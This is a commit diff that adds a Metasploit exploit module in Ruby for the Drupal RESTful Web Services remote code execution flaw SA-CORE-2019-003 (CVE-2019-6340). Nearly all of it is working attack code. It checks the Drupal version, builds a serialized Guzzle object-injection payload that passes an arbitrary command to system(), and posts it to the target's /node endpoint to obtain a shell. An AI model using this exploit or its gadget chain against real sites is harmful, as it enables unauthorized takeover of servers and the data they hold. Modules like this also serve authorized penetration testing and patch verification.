Add new exploit for Drupal SA-CORE-2019-003
parent
aa0ba91d92
commit
e93dffb32c
|
@ -0,0 +1,178 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HTTP::Drupal
|
||||
# XXX: CmdStager can't handle badchars
|
||||
include Msf::Exploit::PhpEXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Drupal SA-CORE-2019-003 RestWS Remote PHP Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a Drupal RESTful Web Services RCE.
|
||||
|
||||
Drupal < 8.5.11, and < 8.6.10 are vulnerable.
|
||||
},
|
||||
'Author' => [
|
||||
'Samuel Mortenson', # Vulnerability discovery
|
||||
'Charles Fol', # Proof of concept (Drupal 8.x)
|
||||
'Rotem Reiss', # Metasploit module
|
||||
'wvu' # Author of the drupal_drupalgeddon2 Metasploit module which was used as the base for this module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2019-6340'],
|
||||
['URL', 'https://www.drupal.org/sa-core-2019-003'],
|
||||
['URL', 'https://www.ambionics.io/blog/drupal8-rce']
|
||||
],
|
||||
'DisclosureDate' => '2019-02-20',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['php', 'unix', 'linux'],
|
||||
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => false,
|
||||
'Payload' => {'BadChars' => '&>\''},
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
|
||||
'DefaultOptions' => {'WfsDelay' => 2},
|
||||
'Notes' => {'AKA' => ['SA-CORE-2019-003', 'CVE-2019-6340']}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
checkcode = CheckCode::Safe
|
||||
|
||||
@version = target['Version'] || drupal_version
|
||||
|
||||
if @version && @version.to_s =~ /^8\b/
|
||||
print_status("Drupal #{@version} targeted at #{full_uri}")
|
||||
checkcode = CheckCode::Detected
|
||||
else
|
||||
print_error('Could not determine Drupal version to target')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
token = random_crap
|
||||
res = execute_command("printf #{token}")
|
||||
|
||||
if res && res.body.end_with?(token)
|
||||
checkcode = CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
checkcode
|
||||
end
|
||||
|
||||
def exploit
|
||||
if check == CheckCode::Safe && datastore['ForceExploit'] == false
|
||||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
|
||||
end
|
||||
|
||||
unless @version
|
||||
print_warning('Targeting Drupal 8.x')
|
||||
@version = Gem::Version.new('8')
|
||||
end
|
||||
|
||||
if datastore['PAYLOAD'] == 'cmd/unix/generic'
|
||||
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
|
||||
# XXX: Naughty datastore modification
|
||||
datastore['DUMP_OUTPUT'] = true
|
||||
end
|
||||
|
||||
# Try to get shell
|
||||
execute_command(payload.encoded)
|
||||
|
||||
sleep(wfs_delay)
|
||||
return if session_created?
|
||||
|
||||
# XXX: This will spawn a *very* obvious process
|
||||
execute_command("php -r '#{payload.encoded}'")
|
||||
end
|
||||
|
||||
def execute_command(cmd)
|
||||
print_status("Executing #{cmd}")
|
||||
res = exploit_drupal8(cmd)
|
||||
|
||||
if res && res.code == 422
|
||||
print_error "Exploit failed, in case that VHOST was not defined, consider to set that option"
|
||||
end
|
||||
|
||||
if res && res.code != 403
|
||||
print_error("Unexpected reply: #{res.inspect}")
|
||||
return
|
||||
end
|
||||
|
||||
if res && datastore['DUMP_OUTPUT']
|
||||
print_line(res.body)
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Custom implementation of full_uri to take the vhost if exists, since the exploit may not work when using IP
|
||||
# @see full_uri
|
||||
def vhost_full_uri
|
||||
host = "#{datastore['VHOST']}" || "#{rhost}"
|
||||
if !datastore['VHOST']
|
||||
print_warning "The exploit may not work when using IP instead of host name, consider to set VHOST option"
|
||||
end
|
||||
|
||||
uri_scheme = ssl ? 'https' : 'http'
|
||||
uri_port = rport.to_s == '80' ? '' : ":#{rport}"
|
||||
uri = normalize_uri(target_uri.to_s)
|
||||
"#{uri_scheme}://#{host}#{uri_port}#{uri}"
|
||||
end
|
||||
|
||||
def exploit_drupal8(cmd)
|
||||
# Clean URLs are enabled by default and "can't" be disabled
|
||||
uri = normalize_uri(target_uri.path, 'node')
|
||||
|
||||
# @todo Support other formats ?
|
||||
vars_get = {
|
||||
'_format' => 'hal_json'
|
||||
}
|
||||
|
||||
# Get the command length for the payload
|
||||
cmd_len = cmd.length.to_s
|
||||
|
||||
data = {
|
||||
"link" => [
|
||||
{
|
||||
"value" => "link",
|
||||
"options" => "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:#{cmd_len}:\"#{cmd}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
|
||||
}
|
||||
],
|
||||
"_links" => {
|
||||
"type" => {
|
||||
"href" => "#{vhost_full_uri}rest/type/shortcut/default"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'ctype' => 'application/hal+json',
|
||||
'vars_get' => vars_get,
|
||||
'data' => JSON.generate(data)
|
||||
)
|
||||
end
|
||||
|
||||
def random_crap
|
||||
Rex::Text.rand_text_alphanumeric(8..42)
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue